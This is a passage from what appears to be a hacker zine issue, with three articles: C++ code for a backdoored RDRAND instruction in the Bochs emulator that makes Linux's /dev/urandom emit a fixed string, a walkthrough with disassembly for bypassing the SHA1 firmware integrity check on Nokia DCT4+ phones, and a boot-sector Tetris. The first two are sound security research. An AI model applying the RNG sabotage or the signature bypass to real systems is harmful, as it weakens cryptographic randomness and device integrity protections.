tives system. See arch/x86/include/asm/archrandom.h and arch/x86/include/asm/alternative.h for
details.



Sometimes things work out a little differently, and it’s best to be prepared for that. For example if the
kernel is compiled with CONFIG_CC_OPTIMIZE_FOR_SIZE=y, then the call to arch_get_random_long() isn’t
inlined. In that case, it will look a little something like this.



c030_76e6: 39 fb cmp ebx,edi
c030_76e8: 74 18 je c0307702
c030_76ea: 8d 44 24 0c lea eax,[esp+0xc]
c030_76ee: e8 cd fc ff ff call c03073c0
c030_76f3: 85 c0 test eax,eax
c030_76f5: 74 0b je c0307702
c030_76f7: 8b 44 24 0c mov eax,DWORD PTR [esp+0xc]
c030_76fb: 31 03 xor DWORD PTR [ebx],eax
c030_76fd: 83 c3 04 add ebx,0x4
c030_7700: eb e4 jmp c03076e6



Not to worry, though, since all cases that I’ve encountered have one thing in common. There’s always a
register pointing to the buffer on the stack. So a malicious RDRAND instruction would just have to find a
register pointing to somewhere on the stack, read the value it’s pointing to, and that’s what the RDRAND
output will be XORed with. That’s exactly what our PoC will do.



I don’t have a clue how to build my own physical X86 CPU with a modified RDRAND, so let’s use the
Bochs X86 emulator to change RDRAND. Use the current source from SVN since the most recent stable
version as I write this, 2.6.2, has some bugs that will get in our way.



All of the instructions in Bochs are implemented in C++ code, and we can find the RDRAND instruction’s
implementation in cpu/rdrand.cc. It’s the BX_CPU_C::RDRAND_Ed() function. Let’s replace it with a
malicious implementation, one that sabotages the kernel, and only the kernel, when it tries to produce
random numbers.



BX_INSF_TYPE BX_CPP_AttrRegparmN(1) BX_CPU_C::RDRAND_Ed(bxInstruction_c *i){
Bit32u rdrand_output = 0;
Bit32u xor_with = 0;



Bit32u ebx = get_reg32(BX_32BIT_REG_EBX);
Bit32u edx = get_reg32(BX_32BIT_REG_EDX);
Bit32u edi = get_reg32(BX_32BIT_REG_EDI);
Bit32u esp = get_reg32(BX_32BIT_REG_ESP);



const char output_string[] = "PoC||GTFO!\n";
static int position = 0;



Bit32u addr = 0;
static Bit32u last_addr = 0;
static Bit32u second_last_addr = 0;



/* We only want to change RDRAND’s output if it’s being used for the
* vulnerable XOR in extract_buf(). This only happens in Ring 0.
*/



if (CPL == 0) {
/* The address of the value our output will get XORed with is
* pointed to by one of the registers, and is somewhere on the
* stack. We can use that to tell if we’re being executed in
* extract_buf() or somewhere else in the kernel. Obviously, the
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* exact registers will vary depending on the compiler, so we
* have to account for a few different possibilities. It’s not
* perfect, but hey, this is a POC.
*
* This has been tested on, and works, with 32-bit versions of
* - Tiny Core Linux 5.1
* - Arch Linux 2013.12.01 (booting from cd)
* - Debian Testing i386 (retrieved December 6, 2013)
* - Fedora 19.1
*/



if (esp <= edx && edx <= esp + 256) {
addr = edx;



} else if (esp <= edi && edi <= esp + 256
&& esp <= ebx && ebx <= esp + 256) {



/* With CONFIG_CC_OPTIMIZE_FOR_SIZE=y, either:
* - EBX points to the current index,
* EDI points to the end of the array.
* - EDI points to the current index,
* EBX points to the end of the array.
* To distinguish the two, we have to compare them.
*/



if (edi <= ebx) {
addr = edi;



} else {
addr = ebx;



}
} else {



/* It’s not extract_buf(), so cancel the backdooring. */
goto do_not_backdoor;



}



/* Read the value that our output will be XORed with. */
xor_with = read_virtual_dword(BX_SEG_REG_DS, addr);



Bit32u urandom_output = 0;
Bit32u advance_length = 4;
Bit32u extra_shift = 0;



/* Only the first two bytes get used on the third RDRAND
* execution. */



if (addr == last_addr + 4 && last_addr == second_last_addr + 4){
advance_length = 2;
extra_shift = 16;



}



/* Copy the next portion of the string into the output. */
for (int i = 0; i < advance_length; i++) {



/* The characters must be added backwards, because little
* endian. */



urandom_output >>= 8;
urandom_output |= output_string[position++] << 24;
if (position >= strlen(output_string)) {



position = 0;
}



}
urandom_output >>= extra_shift;
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second_last_addr = last_addr;
last_addr = addr;



rdrand_output = xor_with ^ urandom_output;



} else {
do_not_backdoor:



/* Normally, RDRAND would produce good random output. */
rdrand_output |= rand() & 0xff;
rdrand_output <<= 8;
rdrand_output |= rand() & 0xff;
rdrand_output <<= 8;
rdrand_output |= rand() & 0xff;
rdrand_output <<= 8;
rdrand_output |= rand() & 0xff;



}



BX_WRITE_32BIT_REGZ(i->dst(), rdrand_output);
setEFlagsOSZAPC(EFlagsCFMask);



BX_NEXT_INSTR(i);
}



After you’ve made that patch and compiled Bochs, download Tiny Core Linux to test it. Here’s a sample
configuration to ensure that a CPU with RDRAND support is emulated.



# System configuration.
romimage: file=$BXSHARE/BIOS-bochs-latest
vgaromimage: file=$BXSHARE/VGABIOS-lgpl-latest
cpu: model=corei7_ivy_bridge_3770k, ips=120000000
clock: sync=slowdown
megs: 1024
boot: cdrom, disk



# CDROM
ata1: enabled=1, ioaddr1=0x170, ioaddr2=0x370, irq=15
ata1-master: type=cdrom, path="CorePlus-current.iso", status=inserted



Boot it, then cat /dev/urandom to check the kernel’s random number
generation.



tc@box:~$ cat /dev/urandom | head
PoC||GTFO!
PoC||GTFO!
PoC||GTFO!
PoC||GTFO!
PoC||GTFO!
PoC||GTFO!
PoC||GTFO!
PoC||GTFO!
PoC||GTFO!
PoC||GTFO!



21











7 Patching Kosher Firmware for Nokia 2720
by Assaf Nativ



D7 90 D7 A1 D7 A3 D7 A0 D7 AA D7 99 D7 91
in collaboration with two anonymous coworkers.



This fun little article will introduce you to methods for patching firmware of the Nokia 2720 and related
feature phones. We’ll abuse a handy little bug in a child function called by the verification routine. This
modification to the child function that we can modify allows us to bypass the parent function that we cannot
modify. Isn’t that nifty?



A modern feature phone can make phone calls, send SMS or MMS messages, manage a calendar, listen
to FM radio, and play Snake. Its web browser is dysfunctional, but it can load a few websites over GPRS
or 3G. It supports Bluetooth, those fancy ringtones that no one ever buys, and a calculator. It can also take
ugly low-resolution photos and set them as the background.



Not content with those unnecessary features, the higher end of modern feature phones such as the Nokia
208.4 support Twitter, WhatsApp, and a limited Facebook client. How are the faithful to study their scripture
with so many distractions?



A Kosher phone would be a feature phone adapted to the unique needs of a particular community of the
Orthodox Jews. The general idea is that they don’t want to be bothered by the outside world in any way,
but they still want a means to communicate between themselves without breaking the strict boundaries they
made. They wanted a phone that could make phone calls or calculate, but that only supported a limited list of
Hasidic ringtones and only used Bluetooth for headphones. They would be extra happy if a few extra features
could be added, such as a Jewish calendar or a prayer time table. While Pastor Laphroaig just wants a phone
that doesn’t ring (except maybe when heralding new PoC), frowns on Facebook, and banishes Tweety-boxes at
the dinner table, this community goes a lot further and wants no Facebook, Twitter, or suchlike altogether.
This strikes the Pastor as a bit extreme, but good fences make good neighbors, and who’s to tell a neighbor
how tall a fence he ought to build? So this is the story of a neigbor who got paid to build such a fence.5



– — — – — — — — – — – — — — – — – — — – — – – — – — — —



I started with a Nokia phone, as they are cost effective for hardware quality and stability. From Nokia I
got no objection to the project, but also no help whatsoever. They said I was welcome to do whatever helps
me sell their phones, but this target group was too small for them to spend any development time on. And
so this is how my quest for the Kosher phone began.



During my journey I had the pleasure of developing five generations of the Kosher phone. These were
built around the Nokia 1208, Nokia 2680, Nokia 2720, Samsung E1195, and the Nokia 208.4. There were a
few models in between that didn’t get to the final stage either because I failed in making a Kosher firmware
for them or because of other reasons that were beyond my control.



I won’t describe all of the tricks I’ve used during the development, because these phones still account for
a fair bit of my income. However, I think the time has come for me to share some of the knowledge I’ve
collected during this project.



It would be too long to cover all of the phones in a single article, so I will start with just one of them,
and just a single part that I find most interesting.



Nokia has quite a few series of phones differ in the firmware structure and firmware protection. SIM-
locking has been prohibited in the Israeli market since 2010, but these protections also exist to keep neighbors
from playing with baseband firmware modifications, as that might ruin the GSM network.



Nokia phones are divided into a number of baseband series. The oldest, DCT1, works with the old analog
networks. DCT3, DCT4 and DCT4+ work with 2G GSM. BB5 is sometimes 2G and sometimes 3G, so far
as I know. And anything that comes after, such as Asha S40, is 3G. It is important to understand that there
are different generations of phones because vulnerabilities and firmware seem to work for all devices within
a family. Devices in different families require different firmware.



5Disclaimer: No one forces this phone on them; they choose to have it of their own will. No government or agency is involved
in this, and the only motivation that drives customers to use this kind of phone is the community they live in.
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I’ll start with a DCT4+ phone, the Nokia 1208. Nowadays there are quite a few people out there who
know how to patch DCT4+ firmware, but the solution is still not out in the open. One would have to collect
lots of small pieces of information from many forum posts in order to get a full solution. Well, not anymore,
because I’m going to present here that solution in all of its glory.



– — — – — — — — – — – — — — – — – — — – — – – — – — — —



A DCT4+ phone has two regions of executable code, a flashable part and a non-flashable secured part,
which is most likely mask ROM. The flashable memory contains a number of important regions.



• The Operating System, which Nokia calls the MCUSW. (Read on to learn how they came up with this
name.)



• Strings and localization strings, which Nokia calls the PPM.



• General purpose file system in a FAT16 format. This part contains configuration files, user files,
pictures, ringtones, and more. This is where Nokia puts phone provider customizations, and this part
is a lot less protected. It is usually referred to as the CNT or IMAGE.



0x0084_0000
Secured Rom



0x0090_0000
0x0100_0000



MCUSW
and PPM



0x01CE_0000
0x0218_0000



Image
0x02FC_0000
0x0300_0000



External RAM
0x0400_0000
0x0500_0000



API RAM
0x0510_0000



All of this data is accessible for the software as one flat memory module, meaning
that code that runs on the device can access almost anything that it knows how to
locate.



At this point I focused on the operating system, in my attempt to patch it to
make the phone Kosher. The operating system contains nearly all of the code that
operates the phone, including the user interface, menus, web browser, SMS, and
anything else the phone does. The only things that are not part of the OS are the
code for performing the flashing, the code for protecting the flash, and some of the
baseband code. These are all found in the ROM part. The CNT part contains only
third party apps, such as games.



Obtaining a copy of the firmware is not hard. It’s available for download from
many websites, and also directly from Nokia’s own servers. These firmware images
can be flashed using Nokia’s flashing tool, Phoenix Service Software, or with Navi-
Firm+. The operating system portion comes with a .mcu or .mcusw extension, which
stands for MicroController Unit SoftWare.



This file starts with the byte 0xA2 that marks the version of the file. The is a
simple Tag-Length-Value format. From offset 0xE6 everything that follows is encoded
as follows:



• 1 Byte: Type, which is always 0x14.



• 1 Dword: Address



• 3 Bytes: Length



• 1 Byte: Unknown



• 1 Byte: Xor checksum
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Combining all of the data chunks, starting at the address 0x100_0000 we’ll see something like this:
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
0000_0000 AD 7E B6 1A 1B BE 0B E2 7D 58 6B E4 DB EE 65 14
0000_0010 42 30 95 44 99 18 18 38 DB 00 FF FF FF FF FF FF
0000_0020 FF FF FF FF F8 1F 8B 22 50 65 61 4B FF FF FF FF
0000_0030 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
0000_0040 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
0000_0050 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
0000_0060 FF FF FF FF FF FF FF FF FF FF FF FF F8 C4 AA C3
0000_0070 85 CF C6 E7 00 04 8A 5F 01 00 01 00 00 00 00 00
0000_0080 00 00 00 00



Note that some of these 0xFF bytes are just missing data because of the way it is encoded. The first
data chunk belongs to address 0x0100_0000, but it’s just 0x2C bytes long, and the next data chunk starts
at 0x0100_0064. The data that follows byte 0x0100_0084 is encrypted, and is auto decrypted by hardware.



I know that decryption is done at the hardware level, because I can sniff to see what bytes are actually sent
to the phone during flashing. Further, there are a few places in memory, such as the bytes from 0x0100_0000
to 0x0100_0084, that are not encrypted. After I managed to analyze the encryption, I later found that in
some places in the code these bytes are accessed simply by adding 0x0800_0000 to the address, which is a
flag to the CPU that says that this data is not encrypted, so it shouldn’t be decrypted.



Now an interesting question that comes next is what the encryption is, and how I can reverse it to patch
the code. My answer is going to disappoint you, but I found out how the encryption works by gluing together
pieces of information that are published on the Internet.



If you wonder how the fine folks on the Internet found the encryption, I’m wondering the same thing.
Perhaps someone leaked it from Nokia, or perhaps it was reverse engineered from the silicon. It’s possible,
but unlikely, that the encryption was implemented in ARM code in the unflashable region of memory, then
recovered by a method that I’ll explain later in this article.



It’s also possible that the encryption was reversed mathematically from samples. I think the mechanism
has a problem in that some plaintext, when repeated in the same pattern and at the same distance from
each other, is encrypted to the same ciphertext.



– — — – — — — — – — – — — — – — – — — – — – – — – — — —



The ROM contains a rather small amount of code, but as it isn’t included in the firmware updates, I
don’t have a copy. The only thing I care about from this code is how the first megabyte of MCU code is
validated. If and only if that validation succeeds, the baseband is activated to begin GSM communications.



If something in the first megabyte of the MCU code were patched, the validation found in the ROM would
fail, and the phone would refuse to communicate with anything. This won’t interrupt anything else, as the
phone would still need to boot in order to display an appropriate error message. The validation function in
the ROM is invoked from the MCU code, so that function call could be patched out, but again, the GSM
baseband would not be activated, and the phone wouldn’t be able to make any calls. It might sound as if this
is what the customer is looking for, but it’s not, as phone calls are still Kosher six days a week. Note that
Bluetooth still works when baseband doesn’t, and can be a handy communication channel for diagnostics.



Another validation found in the MCU code is a common 16 bit checksum, which is done not for security
reasons but rather to check the phone’s flash memory for corruption. The right checksum value is found
somewhere in the first 0x100 bytes of the MCU. This checksum is easily fixed with any hex editor. If the
check fails, the phone will show a “Contact Service” message, then shut down.



At this point I didn’t know much about what kind of validation is performed on the first megabyte, but
I had a number of samples of official firmware that pass the validation. Every sample has a function that
resides in that megabyte of code and validates the rest of the code. If that function fails, meaning that I
patched something in the code coming after the first megabyte, it immediately reboots the phone. The funny
thing is that the CPU is so slow that I can get a few seconds to play with the phone before the reboot takes
place. Unfortunately, patching out this check still leaves me with no baseband, and thus no product.
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Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
0000_0000 AD 7E B6 1B 23 10 03 40 C6 05 E4 01 20 A2 00 00
0000_0010 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FF
0000_0020 FF FF FF FF F8 1F AA 02 50 65 61 4B FF FF FF FF
0000_0030 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
0000_0040 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
0000_0050 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
0000_0060 FF FF FF FF FF FF FF FF FF FF FF FF C0 52 90 D4
0000_0070 4A E4 5C 8F 00 02 00 00 01 00 01 00 00 00 00 00
0000_0080 00 00 00 00 FF FF FF FF FF FF FF FF 01 CE 00 00
0000_0090 03 00 00 00 00 04 CC A2 00 04 CC A3 FF FF FF FF
0000_00A0 00 00 F1 EF 89 33 EB 2D 1F 09 3B DA C7 C0 3D 9F
0000_00B0 BB D3 29 98 01 C8 BC B0 06 6E A8 11 0E D1 69 67
0000_00C0 A4 A3 9A A5 BF 7B 27 5A E6 C7 61 2D F7 B8 70 9C
0000_00D0 D4 1C 09 96 AF 5B F2 05 20 92 49 DF D5 0B FC DE
0000_00E0 A8 30 B7 39 34 59 13 7D E7 BD 72 3F C7 CF B3 5A
0000_00F0 60 2C 5E 7D 63 17 56 C4 9F 6C C5 1A 01 BF B5 CF
0000_0100 EA 01 FF BE 00 FE 6A 84 EA 50 20 20 20 20 6A 04
0000_0110 2D CF 20 20 20 20 6A 01 9D 7C 20 20 20 20 6A 01
0000_0120 B3 C8 20 20 20 20 6A 01 A5 C2 20 20 20 20 6A 04



16 bit checksum. If this fails, the phone shows “Contact Service” message and shuts down.
If changed, the baseband fails to start and the phone shows no signal.
These bytes can be freely changed. They are likely version info and a public key.



– — — – — — — — – — – — — — – — – — — – — – – — – — — —



To attack this protection I had to better understand the integrity checks. I didn’t have a dump of the
code that checks the first megabyte, so I reversed the check performed on the rest of the binary in an attempt
to find some mistake. Using the FindCrypt IDA script, I found a few implementations of SHA1, MD5, and
other hashing functions that could be used—and should be used!—to check binary integrity.



Most importantly, I found a function that takes arguments of the hash type, data’s starting address, and
length, and returns a digest of that data. Following the cross references of that function brought me to the
following code:
FLASH:01086266 loc_1086266 ; CODE XREF: SHA1_check+1F6
FLASH:01086266 ; SHA1_check+1FC
FLASH:01086266 LDR R2 , =0x300C8D2
FLASH:01086268 MOVS R1 , #0x1C
FLASH:0108626A LDRB R0 , [R2 ,R0 ]
FLASH:0108626C MULS R1 , R0
FLASH:0108626E LDR R0 , =SHA1_check_related
FLASH:01086270 SUBS R0 , #0x80
FLASH:01086272 ADDS R0 , R1 , R0
FLASH:01086274 MOVS R4 , R0
FLASH:01086276 ADDS R0 , #0x80
FLASH:01086278 R1 = Star t
FLASH:01086278 LDR R1 , [R0,#0xC ]
FLASH:0108627A LDR R2 , [R0,#0x10 ]
FLASH:0108627C LDR R0 , [R0,#0xC ]
FLASH:0108627E DataLength = DataStart − DataEnd ;
FLASH:0108627E SUBS R3 , R2 , R0
FLASH:01086280 ADD R2 , SP , #0x38+hashLength
FLASH:01086282 STR R2 , [ SP,#0x38+hashLengthCopy ]
FLASH:01086284 LDRB R0 , [R6,#8]
FLASH:01086286 DataLength += 1 ;
FLASH:01086286 ADDS R3 , R3 , #1
FLASH:01086288 ADDS R7 , R7 , R3
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FLASH:0108628A R2 = DataLength ;
FLASH:0108628A MOVS R2 , R3
FLASH:0108628C ADD R3 , SP , #0x38+hashToCompare
FLASH:0108628E BL hashInitUpdateNDigest_j
FLASH:0108628E
FLASH:01086292 CMP R0 , #0
FLASH:01086294 BNE loc_10862A4
FLASH:01086294
FLASH:01086296 LDR R0 , =hashRelatedVar
FLASH:01086298 MOVS R1 , #1
FLASH:0108629A BL MONServerRelated_over1
FLASH:0108629A
FLASH:0108629E MOVS R0 , #4
FLASH:010862A0 BL r e s e t



The digest function is hashInitUpdateNDigest_j, of course. The SHA1_check_related address had the
following data in it:
FLASH:01089DD4 SHA1_check_related DCD 0xB5213665 ; DATA XREF: SHA1_check : loc_108616A
FLASH:01089DD4 ; SHA1_check+9E . . .
FLASH:01089DD8 DCD 3
FLASH:01089DDC SHA1_check_info DCD 0x200400AA ; DATA XREF: SHA1_check+44
FLASH:01089DE0 #1
FLASH:01089DE0 DCD loc_1100100 ; S tar t
FLASH:01089DE4 DCD loc_13AFFFE+1 ; End
FLASH:01089DE8 DCD 0xEE41347A ; \
FLASH:01089DEC DCD 0x8C88F02F ; \
FLASH:01089DF0 DCD 0x563BB973 ; = SHA1SUM
FLASH:01089DF4 DCD 0x040E1233 ; /
FLASH:01089DF8 DCD 0x8C03AFFA ; /
FLASH:01089DFC #2
FLASH:01089DFC DCD loc_13B0000
FLASH:01089E00 DCD loc_165FFFE+1
FLASH:01089E04 DCD 0xCC29F881
FLASH:01089E08 DCD 0xA441D8CD
FLASH:01089E0C DCD 0x7CEF5FEF
FLASH:01089E10 DCD 0xC35FE703
FLASH:01089E14 DCD 0x8BD3D4D6
FLASH:01089E18 #3
FLASH:01089E18 DCD loc_1660000
FLASH:01089E1C DCD loc_190FFFC+3
FLASH:01089E20 DCD 0x77439E9B
FLASH:01089E24 DCD 0x530F0029
FLASH:01089E28 DCD 0xA7490D5B
FLASH:01089E2C DCD 0x4E621094
FLASH:01089E30 DCD 0xC7844FE3
FLASH:01089E34 #4
FLASH:01089E34 DCD loc_1910000
FLASH:01089E38 DCD dword_1BFB5C8+7
FLASH:01089E3C DCD 0xA87ABFB7
FLASH:01089E40 DCD 0xFB44D95E
FLASH:01089E44 DCD 0xC3E95DCA
FLASH:01089E48 DCD 0xE190ECCA
FLASH:01089E4C DCD 0x9D100390
FLASH:01089E50 DCD 0
FLASH:01089E54 DCD 0



This is SHA1 digest of other arrays of binary, in chunks of about 0x002B_0000 bytes. All of the data
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from 0x0100_0100 to 0x0110_0100 is protected by the ROM. The data from 0x0110_0100 to 0x013A_FFFF
digest to EE41347A8C88F02F563BB973040E12338C03AFFA under SHA1. So I guessed that this function is
the validation function that uses SHA1 to check the rest of the binary.



Later on in the same function I found the following code.



FLASH:010862E0 f o r ( i = 0 ; i < hashLength ; ++i ) {
FLASH:010862E0
FLASH:010862E0 loc_10862E0 ; CODE XREF: SHA1_check+1CC
FLASH:010862E0 ADDS R3 , R4 , R0
FLASH:010862E2 ADDS R3 , #0x80
FLASH:010862E4 ADD R2 , SP , #0x38+hashToCompare
FLASH:010862E6 LDRB R2 , [R2 ,R0 ]
FLASH:010862E8 LDRB R3 , [R3,#0x14 ]
FLASH:010862EA i f ( hash [ i ] != hashToCompare [ i ] ) {
FLASH:010862EA return Fal se ;
FLASH:010862EA }
FLASH:010862EA CMP R2 , R3
FLASH:010862EC BEQ loc_10862F0
FLASH:010862EC
FLASH:010862EE MOVS R5 , #1
FLASH:010862EE
FLASH:010862F0
FLASH:010862F0 loc_10862F0 ; CODE XREF: SHA1_check+1C4
FLASH:010862F0 ADDS R0 , R0 , #1
FLASH:010862F0
FLASH:010862F2
FLASH:010862F2 loop ; CODE XREF: SHA1_check+1B6
FLASH:010862F2 CMP R0 , R1
FLASH:010862F4 }
FLASH:010862F4 BCC loc_10862E0
FLASH:010862F4
FLASH:010862F6 CMP R5 , #1
FLASH:010862F8 // Patch here to 0xe006
FLASH:010862F8
FLASH:010862F8 BNE loc_1086308
FLASH:010862F8
FLASH:010862FA LDR R0 , =0x7D0005
FLASH:010862FC BL HashMismatch
FLASH:010862FC
FLASH:01086300 MOVS R0 , #4
FLASH:01086302 BL r e s e t
FLASH:01086302
FLASH:01086306 B loc_1086310



This function performs the comparison of the calculated hash to the one in the table, and, should that
fail to match, it calls the HashMismatch() function and then the reset function with Error Code 4.



The HashMismatch() function looks a bit like this.



FLASH:01085320 ; At t r ibute s : thunk
FLASH:01085320
FLASH:01085320 HashMismatch ; CODE XREF: sub_1084232+38
FLASH:01085320 ; sub_1085B6C+6C . . .
FLASH:01085320 BX PC
FLASH:01085320
FLASH:01085320 ; −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
FLASH:01085322 ALIGN 4
FLASH:01085322 ; End o f func t i on HashMismatch
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FLASH:01085322
FLASH:01085324 CODE32
FLASH:01085324
FLASH:01085324 ; =============== S U B R O U T I N E =======================================
FLASH:01085324
FLASH:01085324
FLASH:01085324 sub_1085324 ; CODE XREF: HashMismatch
FLASH:01085324 LDR R12 , =(sub_1453178+1)
FLASH:01085328 BX R12 ; sub_1453178
FLASH:01085328
FLASH:01085328 ; End o f func t i on sub_1085324
FLASH:01085328
FLASH:01085328 ; −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
FLASH:0108532C off_108532C DCD sub_1453178+1 ; DATA XREF: sub_1085324
FLASH:01085330 CODE16
FLASH:01085330
FLASH:01085330 ; =============== S U B R O U T I N E =======================================
FLASH:01085330
FLASH:01085330 ; At t r ibute s : thunk
FLASH:01085330
FLASH:01085330 sub_1085330 ; CODE XREF: sub_10836E6+86
FLASH:01085330 ; sub_10874BA+3C . . .
FLASH:01085330 BX PC
FLASH:01085330
FLASH:01085330 ; −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
FLASH:01085332 ALIGN 4
FLASH:01085332 ; End o f func t i on sub_1085330
FLASH:01085332
FLASH:01085334 CODE32



Please recall that ARM has two different instruction sets, the 32-bit wide ARM instructions and the
more efficient, but less powerful, variable-length Thumb instructions. Then note that ARM code is used for
a far jump, which Thumb cannot do directly.



Therefore what I have is code that is secured and is well checked by the ROM, which implements a SHA1
hash on the rest of the code. When the check fails, it uses the code that it just failed to verify to alert the
user that there is a problem with the binary! It’s right there at 0x0145_3178, in the fifth megabyte of the
binary.



From here writing a bypass was as simple as writing a small patch that fixes the Binary Mismatch flag
and jumps back to place right after the check. Ain’t that clever?



How could such a vulnerability happen to a big company like Nokia? Well, beyond speculation, it’s a
common problem that high level programmers don’t pay attention to the lower layers of abstraction. Perhaps
the linking scripts weren’t carefully reviewed, or they were changed after the secure bootloader was written.



It could be that they really wanted to give the user some indication about the problem, or that they had
to invoke some cleanup function before shutdown, and by mistake, the relevant code was in another library
that got linked into higher addresses, and no one thought about it.



Anyhow, this is my favorite method for patching the flash. It doesn’t allow me to patch the first megabyte
directly, but I can accomplish all that I need by patching the later megabytes of firmware.



However, if that’s not enough, some neighbors reversed the first megabyte check for some of the phones
and made it public. Alas, the function they published is only good for some modules, and not for the entire
series.



How did they manage to do it, you ask? Well, it’s possible that it was silicon reverse engineering, but
another method is rumored to exist. The rumor has it that with JTAG debugging, one could single-step
through the program and spy on the Instruction Fetch stage of the pipeline in order to recover the instructions
from mask ROM. Replacing those instructions with a NOP before they reach the WriteBack stage of the
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pipeline would linearize the code and allow the entire ROM to be read by the debugger while the CPU sees
it as one long NOP sled. As I’ve not tried this technique myself, I’d appreciate any concrete details on how
exactly it might be done.



– — — – — — — — – — – — — — – — – — — – — – – — – — — —



Now that I had a way to patch the firmware, I could go on to creating a patched version to make this
phone Kosher. I had to reverse the menu functions entirely, which was quite a pain. I also had to reverse
the methods for loading strings in order to have a better way to find my way around this big binary file.



Some of the patching was a bit smoother than others. For instance, after removing Internet options from
all of the menus, I wanted to be extra careful in case I missed a secret menu option.



To disable the Internet access, one might suggest searching for the TCP implementation, but that would
be too much work, and as a side effect it might harm IPC. One can also suggest searching for things like the
default gateway and set it to something that would never work, but again that would be too much work. So
I searched for all the places where the word “GET” in all capitals was found in the binary. Luckily I had
just one match, and I patched it to “BET”, so from now on, no standard HTTP server would ever answer
requests. Moreover, to be on the extra, extra safe side I’ve also patched “POST” to “MOST”. Lets see them
downloading porn with that!



Be sure to read my next article for some fancy tricks involving the filesystem of the phone.
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8 Tetranglix: This Tetris is a Boot Sector
by Juhani Haverinen, Owen Shepherd, and Shikhin Sethi



Since Dakarand in a 512-byte boot sector would have been too easy, and
since both Tetris and 512-byte boot sectors are the perfect ingredients to a
fun evening, the residents of #osdev-offtopic on FreeNode took to writing
a Tetris clone in the minimum number of bytes possible. This tetris game
is available by unzipping this PDF file, through Github,6 by typing the hex
from page 32, or by scanning the barcode on page 31.



There’s no fun doing anything without a good challenge. This project
presented plenty, a few of which are described in this article.



To store each tetramino, we used 32-bit words as bitmaps. Each
tetramino, at most, needed a 4 by 4 array for representation, which could
easily be flatenned into bitmaps.



; All tetraminos in bitmap format.
tetraminos:



dw 0b0000111100000000 ; I -Z-- -S-- -O--
dw 0b0000111000100000 ; J
dw 0b0000001011100000 ; L 0000 0000 0000
dw 0b0000011001100000 ; O 0110 0011 0110
dw 0b0000001101100000 ; S 0011 0110 0110
dw 0b0000111001000000 ; T 0000 0000 0000
dw 0b0000011000110000 ; Z



Instead of doing bound checks on the current position of the tetramino, to ensure the user can’t move it
out of the stack, we simply restricted the movement by putting two-block wide boundaries on the playing
stack. The same also added to the esthetic appeal of the game.



To randomly determine the next tetramino to load, our implementation also features a Dakarand-style
random number generator between the RTC and the timestamp counter.



; Get random number in AX.
rdtsc ; The timestamp counter.
xor ax, dx



; (INTERMEDIATE CODE)



; Yayy, more random.
add ax, [0x046C] ; And the RTC (updated via BIOS).



The timestamp counter also depends on how much input the user provided. In this way, we ensure that
the user adds to the entropy by playing the game.



Apart from such obvious optimizations, many nifty tricks ensure a minimal byte count, and these are
what make our Tetranglix code worth reading. For example, the same utility function is used both to blit
the tetramino onto the stack and to check for collision. Further optimization is achieved by depending upon
the results of BIOS calls and aggressive use of inlining.



While making our early attempts, it looked impossible to fit everything in 512 bytes. In such moments of
desperation, we attempted compression with a simplified variant of LZSS. The decompressor clocked at 41
bytes, but the compressor was only able to reduce the code by 4 bytes! We then tried LZW, which, although
saved 21 bytes, required an even more complicated decompression routine. In the end, we managed to make
our code dense enough that no compression was necessary.



6https://github.com/Shikhin/tetranglix
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Since the project was written to meet a strict deadline, we couldn’t spend more time on optimization
and improvement. Several corners had to be cut.



The event loop is designed such that it waits for the entirety of two PIT (programmable interval timer)
ticks—109.8508mS–—before checking for user input. This creates a minor lag in the user interface, something
that could be improved with a bit more effort.



Several utility functions were first written, then inlined. These could be rewritten to coexist more
peacefully, saving some more space.



As a challenge, the authors invite clever readers to clean up the event loop, and with those bytes shaved
off, to add support for scoring. A more serious challenge would be to write a decompression routine that
justifies its existence by saving more bytes than it consumes.



; IT’S A SECRET TO EVERYBODY.
db "ShNoXgSo"
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Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
0000_0000 ea 05 7c 00 00 31 db 8e d3 bc 00 7c 8e db 8e c3
0000_0010 fc bf 04 05 b9 b6 01 31 c0 f3 aa b0 03 cd 10 b5
0000_0020 26 b0 03 fe c4 cd 10 b8 00 b8 8e c0 31 ff b9 d0
0000_0030 07 b8 00 0f f3 ab be 2a 05 66 b8 db db db db 66
0000_0040 89 44 fd 89 44 01 83 c6 10 81 fe ba 06 76 f0 30
0000_0050 d2 be 24 05 bf b8 7d fb 8b 1e 6c 04 83 c3 02 39
0000_0060 1e 6c 04 75 fa 84 d2 75 37 fe c2 60 0f 31 31 d0
0000_0070 31 d2 03 06 6c 04 b9 07 00 f7 f1 89 d3 d0 e3 8b
0000_0080 9f e8 7d bf 04 05 be db 00 b9 10 00 30 c0 d1 e3
0000_0090 0f 42 c6 88 05 47 e2 f4 61 c7 04 06 00 e9 a5 00
0000_00a0 b4 01 cd 16 74 59 30 e4 cd 16 8b 1c 80 fc 4b 75
0000_00b0 06 fe 0c ff d7 72 46 80 fc 4d 75 06 fe 04 ff d7
0000_00c0 72 3b 80 fc 48 75 38 31 c9 fe c1 60 06 1e 07 be
0000_00d0 04 05 b9 04 00 bf 13 05 01 cf b2 04 a4 83 c7 03
0000_00e0 fe ca 75 f8 e2 ef be 14 05 bf 04 05 b1 08 f3 a5
0000_00f0 07 61 e2 d7 ff d7 73 07 b9 03 00 eb ce 89 1c fe
0000_0100 44 01 ff d7 73 3f fe 4c 01 30 d2 60 06 1e 07 ba
0000_0110 99 7d e8 87 00 31 c9 be 2a 05 b2 10 30 db ac 84
0000_0120 c0 0f 44 da fe ca 75 f6 84 db 75 0b fd 60 89 f7
